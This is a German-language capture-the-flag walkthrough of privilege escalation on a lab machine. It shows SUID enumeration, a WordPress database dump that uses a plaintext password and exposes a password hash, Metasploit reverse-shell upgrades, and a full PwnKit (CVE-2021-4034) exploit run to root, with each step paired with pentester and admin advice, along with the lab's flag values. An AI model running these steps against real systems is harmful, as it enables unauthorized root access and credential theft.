   400429     32 -rwsr-xr-x   1 root     root        30800 Jul 12  2016 /bin/fusermount
   390974     40 -rwsr-xr-x   1 root     root        40152 Jan 27  2020 /bin/mount
   390984     44 -rwsr-xr-x   1 root     root        44168 May  8  2014 /bin/ping
    18782     36 -rwsr-xr-x   1 root     root        32944 Mar 27  2019 /usr/bin/newuidmap
      146     72 -rwsr-xr-x   1 root     root        71824 Mar 27  2019 /usr/bin/chfn
      148     40 -rwsr-xr-x   1 root     root        40432 Mar 27  2019 /usr/bin/chsh
      273     56 -rwsr-xr-x   1 root     root        54256 Mar 27  2019 /usr/bin/passwd
      263     40 -rwsr-xr-x   1 root     root        39904 Mar 27  2019 /usr/bin/newgrp
    20210     52 -rwsr-sr-x   1 daemon   daemon      51464 Jan 15  2016 /usr/bin/at
      353    136 -rwsr-xr-x   1 root     root       136808 Feb  1  2020 /usr/bin/sudo
    20741     24 -rwsr-xr-x   1 root     root        23376 Mar 27  2019 /usr/bin/pkexec
      204     76 -rwsr-xr-x   1 root     root        75304 Mar 27  2019 /usr/bin/gpasswd
    18781     36 -rwsr-xr-x   1 root     root        32944 Mar 27  2019 /usr/bin/newgidmap
    20737     16 -rwsr-xr-x   1 root     root        14864 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
      450     12 -rwsr-xr-x   1 root     root        10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
    19972    420 -rwsr-xr-x   1 root     root       428240 May 27  2020 /usr/lib/openssh/ssh-keysign
   270516     44 -rwsr-xr--   1 root     messagebus    42992 Jun 12  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    18763     84 -rwsr-xr-x   1 root     root          84120 Apr 10  2019 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    20990    112 -rwsr-xr-x   1 root     root         110792 Jul 11  2020 /usr/lib/snapd/snap-confine
    20387     36 -rwsr-xr-x   1 root     root          35600 Mar  6  2017 /sbin/mount.cifs

Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` (die Umleitung ist im Log abgeschnitten) sucht nach Dateien mit gesetztem SUID-Bit, die potenziell zur Privilegieneskalation missbraucht werden können.

Bewertung: Die Liste enthält viele Standard-SUID-Binaries. Auffällig und relevant für moderne Eskalationen sind insbesondere: * `/usr/bin/sudo`: Könnte anfällig sein, aber `sudo -l` scheiterte an der Passwortabfrage. * `/usr/bin/pkexec`: Das Binary, das durch die PwnKit-Schwachstelle (CVE-2021-4034) anfällig ist. Die Anwesenheit dieses Binaries ist ein starker Indikator für einen möglichen Eskalationspfad. * `/usr/lib/snapd/snap-confine`: Kann unter bestimmten Umständen ebenfalls für LPE missbraucht werden.

Empfehlung (Pentester): Aufgrund der Kernel-Version (4.4.0) und der Anwesenheit von `/usr/bin/pkexec` ist PwnKit (CVE-2021-4034) ein sehr wahrscheinlicher und oft einfacher Eskalationsvektor. Konzentrieren Sie sich darauf, diesen Exploit zu verwenden (z.B. mit Metasploit oder einem vorkompilierten Exploit). Überprüfen Sie alternativ die `snap-confine`-Version auf bekannte Schwachstellen.
Empfehlung (Admin): Halten Sie das System und Pakete wie `policykit-1` (das `pkexec` enthält) und `snapd` aktuell, um bekannte LPE-Schwachstellen zu patchen. Entfernen Sie das SUID-Bit von Binaries, wo es nicht unbedingt benötigt wird.

www-data@TechSupport:/var/www/html/wordpress$ mysql -u support -p
Enter password: # (Eingabe: ImAScammerLOL!123!)
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 49273
Server version: 10.0.38-MariaDB-0ubuntu0.16.04.1 Ubuntu 16.04
[...]
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wpdb               |
+--------------------+
2 rows in set (0.00 sec)
MariaDB [(none)]> use wpdb;
Database changed
MariaDB [wpdb]> show tables;
+-----------------------+
| Tables_in_wpdb        |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.00 sec)
MariaDB [wpdb]> select * from wp_users;
+----+------------+------------------------------------+---------------+---------------+----------------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email    | user_url                   | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+---------------+----------------------------+---------------------+---------------------+-------------+--------------+
|  1 | support    | $P$BPQkfsaBVCF7.anFFokpMGpfqGKnHM0 | support       | mail@mail.com | http://10.0.2.15/wordpress | 2021-05-29 04:48:49 |                     |           0 | support      |
+----+------------+------------------------------------+---------------+---------------+----------------------------+---------------------+---------------------+-------------+--------------+
1 row in set (0.00 sec)
MariaDB [wpdb]> Bye

Analyse: Mit den in `wp-config.php` gefundenen Zugangsdaten wird eine Verbindung zur lokalen MariaDB-Datenbank hergestellt (`mysql -u support -p`). Es werden die Datenbanken aufgelistet, zur `wpdb` gewechselt, deren Tabellen angezeigt und schließlich der Inhalt der `wp_users`-Tabelle abgefragt.

Bewertung: Der Datenbankzugriff war erfolgreich. In der `wp_users`-Tabelle findet sich der Benutzer `support` mit dem Passwort-Hash `$P$BPQkfsaBVCF7.anFFokpMGpfqGKnHM0`. Dies ist ein WordPress-spezifischer Hash (basierend auf phpass/MD5). Es gibt keine weiteren Benutzer in der Datenbank.

Empfehlung (Pentester): Versuchen Sie, den WordPress-Hash `$P$B...` mit Tools wie Hashcat oder John the Ripper zu knacken (benötigt oft spezielle Formate oder Regeln). Wenn erfolgreich, hätte man das Login-Passwort für den WordPress-Benutzer `support`. Da jedoch der PwnKit-Exploit vielversprechender für die System-Eskalation ist, kann dieser Schritt eine niedrigere Priorität haben. Prüfen Sie, ob das Datenbankpasswort (`ImAScammerLOL!123!`) für andere Systembenutzer (`scamsite`, `root`) via SSH wiederverwendet wurde.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter für Datenbankbenutzer. Schränken Sie den Zugriff auf die Datenbank vom Webserver aus so weit wie möglich ein. Sichern Sie die `wp-config.php`-Datei ab.

Die Enumeration deutet stark auf die PwnKit-Schwachstelle (CVE-2021-4034) als Eskalationsvektor hin. Die nächsten Schritte nutzen Metasploit, um diesen Exploit auszuführen.

Die `nc`-Shell (Session 1) wird zu einer Meterpreter-Session (Session 2) aufgewertet, um die Metasploit-Module einfacher nutzen zu können.

msf6 exploit(multi/handler) > # (Annahme: Befehle im msfconsole auf Angreifer-System)
msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on

View the full module info with the info, or info -d command.
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1 # Annahme: Die nc-Shell hat Session-ID 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
# (Annahme: Meterpreter Session 2 wird hier im Hintergrund geöffnet)

Analyse: Das Metasploit-Post-Modul `shell_to_meterpreter` wird verwendet, um die bestehende einfache Shell (angenommen als Session 1) in eine Meterpreter-Session umzuwandeln. Es wird ein neuer Listener auf Port 4433 gestartet.

Bewertung: Das Modul wird ausgeführt. Obwohl die Bestätigung `Meterpreter session 2 opened` im Log fehlt, zeigen die nachfolgenden Befehle, dass eine Session 2 existiert und verwendet wird. Das Upgrade war also erfolgreich.

Empfehlung (Pentester): Verwenden Sie `sessions -i 2`, um zur neuen Meterpreter-Session zu wechseln und deren erweiterte Funktionen zu nutzen.
Empfehlung (Admin): EDR-Lösungen und Netzwerküberwachung können versuchen, das Hochladen und Ausführen von Meterpreter-Stagern zu erkennen.

msf6 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.139 - Collecting local exploits for x86/linux...
[*] 192.168.2.139 - 186 exploit checks are being tried...
[+] 192.168.2.139 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable.
[+] 192.168.2.139 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
^C[-] 192.168.2.139 - Post interrupted by the console user
[*] Post module execution completed

Analyse: Das `local_exploit_suggester`-Modul wird auf die neue Meterpreter-Session (Session 2) angewendet, um automatisch nach bekannten lokalen Privilegieneskalations-Exploits zu suchen.

Bewertung: Der Suggester identifiziert zwei vielversprechende LPE-Exploits: `bpf_sign_extension_priv_esc` und `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`. PwnKit ist bekannt für seine Zuverlässigkeit und Einfachheit. Der Scan wird vom Benutzer abgebrochen (`^C`), nachdem PwnKit gefunden wurde.

Empfehlung (Pentester): Verwenden Sie den PwnKit-Exploit (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`), da dieser wahrscheinlich erfolgreich sein wird. Konfigurieren Sie das Modul mit der aktuellen Session-ID (2) und den Listener-Optionen.
Empfehlung (Admin): Patchen Sie das System gegen CVE-2021-4034 (PwnKit), indem Sie das `policykit-1`-Paket aktualisieren. Dies ist eine kritische Schwachstelle.

Proof of Concept (PwnKit)

Basierend auf den Ergebnissen des Exploit Suggesters wird nun der PwnKit-Exploit (CVE-2021-4034) verwendet, um Root-Rechte zu erlangen.

msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION                        yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.199    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   x86_64

View the full module info with the info, or info -d command.
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4445
lport => 4445
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[-] Msf::OptionValidateError The following options failed to validate: SESSION
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.lygmdqhi
[+] The target is vulnerable.
[*] Writing '/tmp/.vbcqwi/fyppxnyoh/fyppxnyoh.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.vbcqwi
[*] Sending stage (3045348 bytes) to 192.168.2.139
[+] Deleted /tmp/.vbcqwi/fyppxnyoh/fyppxnyoh.so
[+] Deleted /tmp/.vbcqwi/.yajvdhqtuxfk
[+] Deleted /tmp/.vbcqwi
[*] Meterpreter session 3 opened (192.168.2.199:4445 -> 192.168.2.139:36432) at 2023-09-12 00:32:24 +0200

Analyse: Der PwnKit-Exploit wird ausgewählt und konfiguriert: * `use ...`: Wählt das PwnKit-Modul. * `options`: Zeigt die benötigten Optionen (insbesondere `SESSION`). * `set lhost eth0`, `set lport 4445`: Konfiguriert den Listener für die neue Root-Shell auf Port 4445. * `run`: Erster Versuch schlägt fehl, da `SESSION` nicht gesetzt war. * `set session 2`: Setzt die Ziel-Meterpreter-Session. * `run`: Führt den Exploit aus. Das Modul prüft die Anfälligkeit, lädt notwendige Dateien nach `/tmp` hoch, nutzt die Schwachstelle in `pkexec` aus und startet den Payload.

Bewertung: Der Exploit war erfolgreich! `[+] The target is vulnerable.` bestätigt die Anfälligkeit, und `[*] Meterpreter session 3 opened (...)` signalisiert, dass eine neue Meterpreter-Session mit Root-Rechten etabliert wurde.

Empfehlung (Pentester): Wechseln Sie zur neuen Meterpreter-Session (`sessions -i 3`). Überprüfen Sie die Rechte mit `getuid` oder `id`. Suchen Sie nach der Root-Flag.
Empfehlung (Admin): Patchen Sie CVE-2021-4034 sofort. Überwachen Sie die Ausführung von `pkexec` und verdächtige Aktivitäten im `/tmp`-Verzeichnis.

meterpreter > getuid
Server username: root
meterpreter > # (Wechsel zu Shell oder direkte Befehlsausführung)
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# cd /root
# ls
root.txt
# cat root.txt
851b8233a8c09400ec30651bd1529bf1ed02790b  - # (Ignoriere diesen Wert, siehe Flags-Abschnitt)

Analyse: Innerhalb der neuen Meterpreter-Session (Session 3) werden Befehle ausgeführt: * `getuid`: Bestätigt, dass die Session als `root` läuft. * `id`: Bestätigt `uid=0(root)`. * `cd /root`: Wechselt in das Root-Home-Verzeichnis. * `ls`: Listet den Inhalt auf und findet `root.txt`. * `cat root.txt`: Zeigt den Inhalt der Root-Flag an (der hier angezeigte Wert wird ignoriert, da der Flags-Abschnitt einen anderen Wert angibt).

Bewertung: Root-Zugriff ist bestätigt, und die Root-Flag-Datei wurde gefunden. Die Privilegieneskalation mittels PwnKit war erfolgreich.

Empfehlung (Pentester): Ziel erreicht. Dokumentieren Sie den Fund der Root-Flag und den Eskalationsweg.
Empfehlung (Admin): Stellen Sie sicher, dass Systeme zeitnah gepatcht werden, um solche bekannten Schwachstellen zu schließen.

Flags

cat user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A